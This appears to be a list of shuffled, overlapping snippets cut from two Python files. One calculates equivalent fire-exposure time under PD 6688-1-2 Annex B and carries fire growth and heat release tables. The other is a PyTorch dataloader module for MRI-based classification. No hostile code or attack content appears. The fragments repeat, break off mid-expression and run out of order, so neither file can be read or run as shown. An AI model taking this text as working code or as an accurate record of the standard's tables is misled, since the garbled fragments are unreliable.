"factor alpha_h = A_vh / A_f # just a factor b_v = (",
"factor :param k_b: Conversion factor :param A_f: [m2] Floor area of the compartment",
"| | | Offices | 290 | | | | Hotel rooms |",
"| Fast | | Industrial storage or plant room | Ultra-fast | Table",
"): \"\"\"Calculates time equivalence of standard fire exposure in accordance with PD 6688-1-2",
"utf-8 -*- import numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f,",
"# B.2 # Vertical opening factor alpha_v = min([max([A_vv / A_f, 0.025]), 0.25])",
"np.nan ) # total ventilation factor w_f = ((6 / H) ** 0.3)",
"Vertical area :param delta_h: Height factor :return: Equivalent time exposure SUPPLEMENT INFO: Table",
"BUILDING | USE | |------------------------------------------------------------------|------------| | Picture gallery | Slow | | Passenger",
"| 249 | | | | Industrial | 86-620 | | | EXAMPLE:",
"| Medium | | Hotel reception | Medium | | Hotel bedroom |",
"as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H, A_vh, A_vv, delta_h",
"__name__ == \"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0,",
"A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence of standard fire exposure in accordance",
"| | Hotel bedroom | Medium | | Hospital room | Medium |",
"H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 #",
"rates (from PD 7974-1:2003, Table 3) | BUILDING | USE | |------------------------------------------------------------------|------------| |",
"[m2] Vertical area :param delta_h: Height factor :return: Equivalent time exposure SUPPLEMENT INFO:",
"(0.4 - alpha_v) ** 4) / (1 + b_v * alpha_h)) w_f =",
"m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, ) res = annex_b_equivalent_time_of_fire_exposure(**input_params) print(res /",
"A.4 - Design fire growth rates (from PD 7974-1:2003, Table 3) | BUILDING",
"Slow | | Passenger stations and termini for air_ rail_ road or sea",
"A_f, 0.025]), 0.25]) # horizontal opening factor alpha_h = A_vh / A_f #",
"| HEAT RELEASE RATE PER UNIT AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---|",
"APRIL 2019 :param q_fk: [MJ/m2] Fire load density :param delta_1: Active suppression factor",
"total ventilation factor w_f = ((6 / H) ** 0.3) * ((0.62 +",
"rail_ road or sea travel | Slow | | Classroom (school) | Medium",
"Combustion factor :param k_b: Conversion factor :param A_f: [m2] Floor area of the",
"numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H, A_vh, A_vv,",
"| USE | |------------------------------------------------------------------|------------| | Picture gallery | Slow | | Passenger stations",
"| 86-620 | | | EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09,",
"alpha_v ** 2) if (12.5 * (1 + 10 * alpha_v - alpha_v",
"| | Passenger stations and termini for air_ rail_ road or sea travel",
"Active suppression factor :param m: Combustion factor :param k_b: Conversion factor :param A_f:",
"12 APRIL 2019 :param q_fk: [MJ/m2] Fire load density :param delta_1: Active suppression",
"load [MJ/m2] q_fd = q_fk * delta_1 * m # B.2 # Vertical",
"| Slow | | Classroom (school) | Medium | | Dwelling | Medium",
"annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates time",
"delta_h: Height factor :return: Equivalent time exposure SUPPLEMENT INFO: Table A.4 - Design",
"w_f * delta_h if __name__ == \"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1,",
"| $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops | 550 | | |",
"RATE PER UNIT AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops |",
"B.2 # Vertical opening factor alpha_v = min([max([A_vv / A_f, 0.025]), 0.25]) #",
"growth rates (from PD 7974-1:2003, Table 3) | BUILDING | USE | |------------------------------------------------------------------|------------|",
"the compartment :param H: [m] Height of the compartment :param A_vh: [m2] Horizontal",
":param k_b: Conversion factor :param A_f: [m2] Floor area of the compartment :param",
"| | Shop | Fast | | Industrial storage or plant room |",
"road or sea travel | Slow | | Classroom (school) | Medium |",
"opening factor alpha_h = A_vh / A_f # just a factor b_v =",
"EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2)",
"/ (1 + b_v * alpha_h)) w_f = w_f if A_f >= 100",
"sea travel | Slow | | Classroom (school) | Medium | | Dwelling",
"else np.nan return q_fd * k_b * w_f * delta_h if __name__ ==",
"Horizontal area :param A_vv: [m2] Vertical area :param delta_h: Height factor :return: Equivalent",
"| Passenger stations and termini for air_ rail_ road or sea travel |",
"Shop | Fast | | Industrial storage or plant room | Ultra-fast |",
"alpha_v = min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal opening factor alpha_h =",
"\"\"\" # B.1 # Design fire load [MJ/m2] q_fd = q_fk * delta_1",
"249 | | | | Industrial | 86-620 | | | EXAMPLE: >>>",
"| | Industrial | 86-620 | | | EXAMPLE: >>> kwargs = dict(q_fk=900,",
"| | | Hotel rooms | 249 | | | | Industrial |",
"factor :return: Equivalent time exposure SUPPLEMENT INFO: Table A.4 - Design fire growth",
"3) | BUILDING | USE | |------------------------------------------------------------------|------------| | Picture gallery | Slow |",
"USE | |------------------------------------------------------------------|------------| | Picture gallery | Slow | | Passenger stations and",
"alpha_h)) w_f = w_f if A_f >= 100 else np.nan return q_fd *",
"Library | Fast | | Theatre (cinema) | Fast | | Shop |",
"| Office | Medium | | Hotel reception | Medium | | Hotel",
"A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 # Design",
"PD 6688-1-2 Annex B IAN FU 12 APRIL 2019 :param q_fk: [MJ/m2] Fire",
"** 2)) >= 10 else np.nan ) # total ventilation factor w_f =",
">= 10 else np.nan ) # total ventilation factor w_f = ((6 /",
"Design fire load [MJ/m2] q_fd = q_fk * delta_1 * m # B.2",
"| | | | Offices | 290 | | | | Hotel rooms",
"PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE PER UNIT AREA | $Q''$",
"time exposure SUPPLEMENT INFO: Table A.4 - Design fire growth rates (from PD",
"Medium | | Library | Fast | | Theatre (cinema) | Fast |",
"10 * alpha_v - alpha_v ** 2)) >= 10 else np.nan ) #",
"| Medium | | Library | Fast | | Theatre (cinema) | Fast",
">= 100 else np.nan return q_fd * k_b * w_f * delta_h if",
"q_fd * k_b * w_f * delta_h if __name__ == \"__main__\": input_params =",
"= ((6 / H) ** 0.3) * ((0.62 + 90 * (0.4 -",
"k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0, m=1,",
"A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0,",
"OCCUPANCY | HEAT RELEASE RATE PER UNIT AREA | $Q''$ [kW/m2] | |",
"if (12.5 * (1 + 10 * alpha_v - alpha_v ** 2)) >=",
"alpha_v) ** 4) / (1 + b_v * alpha_h)) w_f = w_f if",
"A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence of standard fire exposure",
"Hotel rooms | 249 | | | | Industrial | 86-620 | |",
"delta_h if __name__ == \"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4,",
"| |-------------|---------------------------------|---------------|---| | Shops | 550 | | | | Offices | 290",
"| EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2,",
"just a factor b_v = ( 12.5 * (1 + 10 * alpha_v",
"| Dwelling | Medium | | Office | Medium | | Hotel reception",
"return q_fd * k_b * w_f * delta_h if __name__ == \"__main__\": input_params",
"== \"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2,",
"(1 + b_v * alpha_h)) w_f = w_f if A_f >= 100 else",
"storage or plant room | Ultra-fast | Table A.5 - Heat release rate",
"* (1 + 10 * alpha_v - alpha_v ** 2)) >= 10 else",
"Fast | | Industrial storage or plant room | Ultra-fast | Table A.5",
"| Classroom (school) | Medium | | Dwelling | Medium | | Office",
"| Medium | | Office | Medium | | Hotel reception | Medium",
"|------------------------------------------------------------------|------------| | Picture gallery | Slow | | Passenger stations and termini for",
"alpha_v - alpha_v ** 2) if (12.5 * (1 + 10 * alpha_v",
"if __name__ == \"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5,",
"| | Offices | 290 | | | | Hotel rooms | 249",
"air_ rail_ road or sea travel | Slow | | Classroom (school) |",
"delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, ) res = annex_b_equivalent_time_of_fire_exposure(**input_params) print(res",
") input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2,",
"room | Medium | | Library | Fast | | Theatre (cinema) |",
"Hotel bedroom | Medium | | Hospital room | Medium | | Library",
"0.3) * ((0.62 + 90 * (0.4 - alpha_v) ** 4) / (1",
"k_b * w_f * delta_h if __name__ == \"__main__\": input_params = dict( q_fk=900,",
"alpha_v - alpha_v ** 2)) >= 10 else np.nan ) # total ventilation",
"| Hospital room | Medium | | Library | Fast | | Theatre",
"B IAN FU 12 APRIL 2019 :param q_fk: [MJ/m2] Fire load density :param",
"Medium | | Dwelling | Medium | | Office | Medium | |",
"rooms | 249 | | | | Industrial | 86-620 | | |",
"0.25]) # horizontal opening factor alpha_h = A_vh / A_f # just a",
"| Medium | | Hotel bedroom | Medium | | Hospital room |",
"| Shop | Fast | | Industrial storage or plant room | Ultra-fast",
"delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 # Design fire load [MJ/m2]",
"7974-1:2003, Table 3) | BUILDING | USE | |------------------------------------------------------------------|------------| | Picture gallery |",
"area :param A_vv: [m2] Vertical area :param delta_h: Height factor :return: Equivalent time",
"| Hotel rooms | 249 | | | | Industrial | 86-620 |",
"SUPPLEMENT INFO: Table A.4 - Design fire growth rates (from PD 7974-1:2003, Table",
"[MJ/m2] q_fd = q_fk * delta_1 * m # B.2 # Vertical opening",
"= q_fk * delta_1 * m # B.2 # Vertical opening factor alpha_v",
"input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, )",
"of fire for different occupancies (from PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE",
"/ A_f, 0.025]), 0.25]) # horizontal opening factor alpha_h = A_vh / A_f",
"occupancies (from PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE PER UNIT AREA",
"** 0.3) * ((0.62 + 90 * (0.4 - alpha_v) ** 4) /",
"H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09,",
"Theatre (cinema) | Fast | | Shop | Fast | | Industrial storage",
"10 else np.nan ) # total ventilation factor w_f = ((6 / H)",
"Hospital room | Medium | | Library | Fast | | Theatre (cinema)",
"-*- import numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H,",
"Picture gallery | Slow | | Passenger stations and termini for air_ rail_",
"| Table A.5 - Heat release rate per unit area of fire for",
"| | Dwelling | Medium | | Office | Medium | | Hotel",
"a factor b_v = ( 12.5 * (1 + 10 * alpha_v -",
"2)) >= 10 else np.nan ) # total ventilation factor w_f = ((6",
"AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops | 550 | |",
"# just a factor b_v = ( 12.5 * (1 + 10 *",
"m: Combustion factor :param k_b: Conversion factor :param A_f: [m2] Floor area of",
"density :param delta_1: Active suppression factor :param m: Combustion factor :param k_b: Conversion",
"factor alpha_v = min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal opening factor alpha_h",
"termini for air_ rail_ road or sea travel | Slow | | Classroom",
">>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 # Design fire load [MJ/m2] q_fd",
"Industrial | 86-620 | | | EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1,",
"# total ventilation factor w_f = ((6 / H) ** 0.3) * ((0.62",
"A_f # just a factor b_v = ( 12.5 * (1 + 10",
"INFO: Table A.4 - Design fire growth rates (from PD 7974-1:2003, Table 3)",
"delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\"",
"ventilation factor w_f = ((6 / H) ** 0.3) * ((0.62 + 90",
"0.025]), 0.25]) # horizontal opening factor alpha_h = A_vh / A_f # just",
"else np.nan ) # total ventilation factor w_f = ((6 / H) **",
"area of fire for different occupancies (from PD 7974-1:2003) | OCCUPANCY | HEAT",
"or sea travel | Slow | | Classroom (school) | Medium | |",
"B.1 # Design fire load [MJ/m2] q_fd = q_fk * delta_1 * m",
"= dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, ) res",
"| Medium | | Dwelling | Medium | | Office | Medium |",
"| | | | Industrial | 86-620 | | | EXAMPLE: >>> kwargs",
"w_f = w_f if A_f >= 100 else np.nan return q_fd * k_b",
"Shops | 550 | | | | Offices | 290 | | |",
"| | Industrial storage or plant room | Ultra-fast | Table A.5 -",
"((0.62 + 90 * (0.4 - alpha_v) ** 4) / (1 + b_v",
"delta_1, m, k_b, A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence of",
"| Industrial storage or plant room | Ultra-fast | Table A.5 - Heat",
"A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4,",
"| | Hotel rooms | 249 | | | | Industrial | 86-620",
"- Design fire growth rates (from PD 7974-1:2003, Table 3) | BUILDING |",
"= dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params",
"Slow | | Classroom (school) | Medium | | Dwelling | Medium |",
"delta_h ): \"\"\"Calculates time equivalence of standard fire exposure in accordance with PD",
"= w_f if A_f >= 100 else np.nan return q_fd * k_b *",
"** 4) / (1 + b_v * alpha_h)) w_f = w_f if A_f",
"fire load [MJ/m2] q_fd = q_fk * delta_1 * m # B.2 #",
"different occupancies (from PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE PER UNIT",
"| | Office | Medium | | Hotel reception | Medium | |",
"| | | Industrial | 86-620 | | | EXAMPLE: >>> kwargs =",
"min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal opening factor alpha_h = A_vh /",
"Fast | | Theatre (cinema) | Fast | | Shop | Fast |",
"- Heat release rate per unit area of fire for different occupancies (from",
"factor :param A_f: [m2] Floor area of the compartment :param H: [m] Height",
"2019 :param q_fk: [MJ/m2] Fire load density :param delta_1: Active suppression factor :param",
"| 290 | | | | Hotel rooms | 249 | | |",
"# Design fire load [MJ/m2] q_fd = q_fk * delta_1 * m #",
"Table A.5 - Heat release rate per unit area of fire for different",
"A_vv: [m2] Vertical area :param delta_h: Height factor :return: Equivalent time exposure SUPPLEMENT",
"[kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops | 550 | | | | Offices",
"k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, ) res = annex_b_equivalent_time_of_fire_exposure(**input_params) print(res / 60)",
"\"\"\"Calculates time equivalence of standard fire exposure in accordance with PD 6688-1-2 Annex",
":param A_f: [m2] Floor area of the compartment :param H: [m] Height of",
"-*- coding: utf-8 -*- import numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m,",
"| | |-------------|---------------------------------|---------------|---| | Shops | 550 | | | | Offices |",
"H: [m] Height of the compartment :param A_vh: [m2] Horizontal area :param A_vv:",
"(cinema) | Fast | | Shop | Fast | | Industrial storage or",
"| Picture gallery | Slow | | Passenger stations and termini for air_",
"per unit area of fire for different occupancies (from PD 7974-1:2003) | OCCUPANCY",
"- alpha_v) ** 4) / (1 + b_v * alpha_h)) w_f = w_f",
"Table 3) | BUILDING | USE | |------------------------------------------------------------------|------------| | Picture gallery | Slow",
"Medium | | Hotel reception | Medium | | Hotel bedroom | Medium",
"m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0,",
"Conversion factor :param A_f: [m2] Floor area of the compartment :param H: [m]",
"| Fast | | Shop | Fast | | Industrial storage or plant",
":param delta_h: Height factor :return: Equivalent time exposure SUPPLEMENT INFO: Table A.4 -",
"standard fire exposure in accordance with PD 6688-1-2 Annex B IAN FU 12",
"$Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops | 550 | | | |",
"area of the compartment :param H: [m] Height of the compartment :param A_vh:",
"| Hotel reception | Medium | | Hotel bedroom | Medium | |",
"fire for different occupancies (from PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE",
":param H: [m] Height of the compartment :param A_vh: [m2] Horizontal area :param",
"(from PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE PER UNIT AREA |",
"reception | Medium | | Hotel bedroom | Medium | | Hospital room",
"of standard fire exposure in accordance with PD 6688-1-2 Annex B IAN FU",
"| | Hospital room | Medium | | Library | Fast | |",
"release rate per unit area of fire for different occupancies (from PD 7974-1:2003)",
"+ 10 * alpha_v - alpha_v ** 2) if (12.5 * (1 +",
"w_f = ((6 / H) ** 0.3) * ((0.62 + 90 * (0.4",
"A_f: [m2] Floor area of the compartment :param H: [m] Height of the",
"| |------------------------------------------------------------------|------------| | Picture gallery | Slow | | Passenger stations and termini",
"q_fk * delta_1 * m # B.2 # Vertical opening factor alpha_v =",
"Passenger stations and termini for air_ rail_ road or sea travel | Slow",
"(12.5 * (1 + 10 * alpha_v - alpha_v ** 2)) >= 10",
"* alpha_v - alpha_v ** 2)) >= 10 else np.nan ) # total",
"IAN FU 12 APRIL 2019 :param q_fk: [MJ/m2] Fire load density :param delta_1:",
"with PD 6688-1-2 Annex B IAN FU 12 APRIL 2019 :param q_fk: [MJ/m2]",
"delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35,",
"+ 10 * alpha_v - alpha_v ** 2)) >= 10 else np.nan )",
"import numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H, A_vh,",
"| Theatre (cinema) | Fast | | Shop | Fast | | Industrial",
"factor w_f = ((6 / H) ** 0.3) * ((0.62 + 90 *",
"fire growth rates (from PD 7974-1:2003, Table 3) | BUILDING | USE |",
"w_f if A_f >= 100 else np.nan return q_fd * k_b * w_f",
"coding: utf-8 -*- import numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b,",
"and termini for air_ rail_ road or sea travel | Slow | |",
"H, A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence of standard fire exposure in",
"HEAT RELEASE RATE PER UNIT AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| |",
"# B.1 # Design fire load [MJ/m2] q_fd = q_fk * delta_1 *",
"b_v = ( 12.5 * (1 + 10 * alpha_v - alpha_v **",
"((6 / H) ** 0.3) * ((0.62 + 90 * (0.4 - alpha_v)",
"np.nan return q_fd * k_b * w_f * delta_h if __name__ == \"__main__\":",
"A_vh / A_f # just a factor b_v = ( 12.5 * (1",
"* delta_1 * m # B.2 # Vertical opening factor alpha_v = min([max([A_vv",
"A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877,",
"the compartment :param A_vh: [m2] Horizontal area :param A_vv: [m2] Vertical area :param",
"load density :param delta_1: Active suppression factor :param m: Combustion factor :param k_b:",
"unit area of fire for different occupancies (from PD 7974-1:2003) | OCCUPANCY |",
"= ( 12.5 * (1 + 10 * alpha_v - alpha_v ** 2)",
"k_b: Conversion factor :param A_f: [m2] Floor area of the compartment :param H:",
":return: Equivalent time exposure SUPPLEMENT INFO: Table A.4 - Design fire growth rates",
"factor b_v = ( 12.5 * (1 + 10 * alpha_v - alpha_v",
"| Industrial | 86-620 | | | EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61,",
"factor :param m: Combustion factor :param k_b: Conversion factor :param A_f: [m2] Floor",
"compartment :param H: [m] Height of the compartment :param A_vh: [m2] Horizontal area",
":param m: Combustion factor :param k_b: Conversion factor :param A_f: [m2] Floor area",
"Vertical opening factor alpha_v = min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal opening",
"k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1",
"q_fk, delta_1, m, k_b, A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence",
"kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs))",
"(1 + 10 * alpha_v - alpha_v ** 2) if (12.5 * (1",
"Industrial storage or plant room | Ultra-fast | Table A.5 - Heat release",
"Equivalent time exposure SUPPLEMENT INFO: Table A.4 - Design fire growth rates (from",
"RELEASE RATE PER UNIT AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops",
":param A_vh: [m2] Horizontal area :param A_vv: [m2] Vertical area :param delta_h: Height",
"A_f >= 100 else np.nan return q_fd * k_b * w_f * delta_h",
":param A_vv: [m2] Vertical area :param delta_h: Height factor :return: Equivalent time exposure",
"[m2] Floor area of the compartment :param H: [m] Height of the compartment",
"* (1 + 10 * alpha_v - alpha_v ** 2) if (12.5 *",
"opening factor alpha_v = min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal opening factor",
"gallery | Slow | | Passenger stations and termini for air_ rail_ road",
"* alpha_h)) w_f = w_f if A_f >= 100 else np.nan return q_fd",
"A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 # Design fire load",
"* ((0.62 + 90 * (0.4 - alpha_v) ** 4) / (1 +",
"+ 90 * (0.4 - alpha_v) ** 4) / (1 + b_v *",
"UNIT AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops | 550 |",
"4) / (1 + b_v * alpha_h)) w_f = w_f if A_f >=",
"Fast | | Shop | Fast | | Industrial storage or plant room",
"# horizontal opening factor alpha_h = A_vh / A_f # just a factor",
"# Vertical opening factor alpha_v = min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal",
"def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates",
"PD 7974-1:2003, Table 3) | BUILDING | USE | |------------------------------------------------------------------|------------| | Picture gallery",
"+ b_v * alpha_h)) w_f = w_f if A_f >= 100 else np.nan",
"np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1, m, k_b, A_f, H, A_vh, A_vv, delta_h ):",
"| Ultra-fast | Table A.5 - Heat release rate per unit area of",
"plant room | Ultra-fast | Table A.5 - Heat release rate per unit",
"7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE PER UNIT AREA | $Q''$ [kW/m2]",
"alpha_v ** 2)) >= 10 else np.nan ) # total ventilation factor w_f",
"= min([max([A_vv / A_f, 0.025]), 0.25]) # horizontal opening factor alpha_h = A_vh",
"# -*- coding: utf-8 -*- import numpy as np def annex_b_equivalent_time_of_fire_exposure( q_fk, delta_1,",
"| Fast | | Theatre (cinema) | Fast | | Shop | Fast",
"q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, ) res = annex_b_equivalent_time_of_fire_exposure(**input_params)",
"of the compartment :param H: [m] Height of the compartment :param A_vh: [m2]",
"/ H) ** 0.3) * ((0.62 + 90 * (0.4 - alpha_v) **",
"| | | | Hotel rooms | 249 | | | | Industrial",
"for air_ rail_ road or sea travel | Slow | | Classroom (school)",
"Offices | 290 | | | | Hotel rooms | 249 | |",
"fire exposure in accordance with PD 6688-1-2 Annex B IAN FU 12 APRIL",
"290 | | | | Hotel rooms | 249 | | | |",
"horizontal opening factor alpha_h = A_vh / A_f # just a factor b_v",
"74.27814882871894 \"\"\" # B.1 # Design fire load [MJ/m2] q_fd = q_fk *",
"if A_f >= 100 else np.nan return q_fd * k_b * w_f *",
">>> 74.27814882871894 \"\"\" # B.1 # Design fire load [MJ/m2] q_fd = q_fk",
"| | Theatre (cinema) | Fast | | Shop | Fast | |",
"Medium | | Office | Medium | | Hotel reception | Medium |",
"accordance with PD 6688-1-2 Annex B IAN FU 12 APRIL 2019 :param q_fk:",
":param q_fk: [MJ/m2] Fire load density :param delta_1: Active suppression factor :param m:",
"exposure in accordance with PD 6688-1-2 Annex B IAN FU 12 APRIL 2019",
"| | Library | Fast | | Theatre (cinema) | Fast | |",
"input_params = dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, )",
"Height factor :return: Equivalent time exposure SUPPLEMENT INFO: Table A.4 - Design fire",
"FU 12 APRIL 2019 :param q_fk: [MJ/m2] Fire load density :param delta_1: Active",
"A_vh: [m2] Horizontal area :param A_vv: [m2] Vertical area :param delta_h: Height factor",
"| Hotel bedroom | Medium | | Hospital room | Medium | |",
"10 * alpha_v - alpha_v ** 2) if (12.5 * (1 + 10",
"compartment :param A_vh: [m2] Horizontal area :param A_vv: [m2] Vertical area :param delta_h:",
"| Offices | 290 | | | | Hotel rooms | 249 |",
"m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" #",
"= dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>>",
"* alpha_v - alpha_v ** 2) if (12.5 * (1 + 10 *",
"(1 + 10 * alpha_v - alpha_v ** 2)) >= 10 else np.nan",
"q_fk: [MJ/m2] Fire load density :param delta_1: Active suppression factor :param m: Combustion"
] |
[
"save model parameters (c). Testing stage: test the model on ADNI_test, NACC, FHS",
"if transform == None: no augmentation for more details, see Augment class \"\"\"",
"with demographic and diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed)",
"import torch import numpy as np from torch.utils.data import Dataset, DataLoader from utils",
"on ADNI_test, NACC, FHS and AIBL datasets 3. CNN dataloader (baseline classification model",
"choice == 'count': self.select_roi_count() else: self.select_roi_thres() if stage in ['train', 'valid', 'test']: self.path",
"get all available DPMs for the development of MLP 2. MLP dataloader (use",
"as np from torch.utils.data import Dataset, DataLoader from utils import PatchGenerator, padding, read_csv,",
"= self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image) return image class CNN_Data(Dataset): \"\"\"",
"MRI filenames along with demographic and diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx,",
"= np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch",
"in tmp: self.roi[i,j,k] = True def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label",
"i in self.Label_list] return weights, count0 / count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir,",
"+ '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data, label class",
"dataloader (use the exactly same split as FCN dataloader) (a). Training stage: train",
"Testing stage: test the model on ADNI_test, NACC, FHS and AIBL datasets 3.",
"- 0.5)*self.bright_factor return image + val def add_noise(self, image): sig = random.random() *",
"idx): label = self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label,",
"import print_function, division import os import torch import numpy as np from torch.utils.data",
"self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch",
"as pd import csv \"\"\" dataloaders are defined in this scripts: 1. FCN",
"csv \"\"\" dataloaders are defined in this scripts: 1. FCN dataloader (data split",
"roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold =",
"+ image def apply(self, image): image = self.change_contrast(image) image = self.change_brightness(image) image =",
"print_function, division import os import torch import numpy as np from torch.utils.data import",
"FCN model (b). Validation stage: use MCC as criterion to save model parameters",
"to be 47, otherwise model needs to be changed accordingly :param transform: transform",
"label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x + 8) / 20.0 def get_sample_weights(self):",
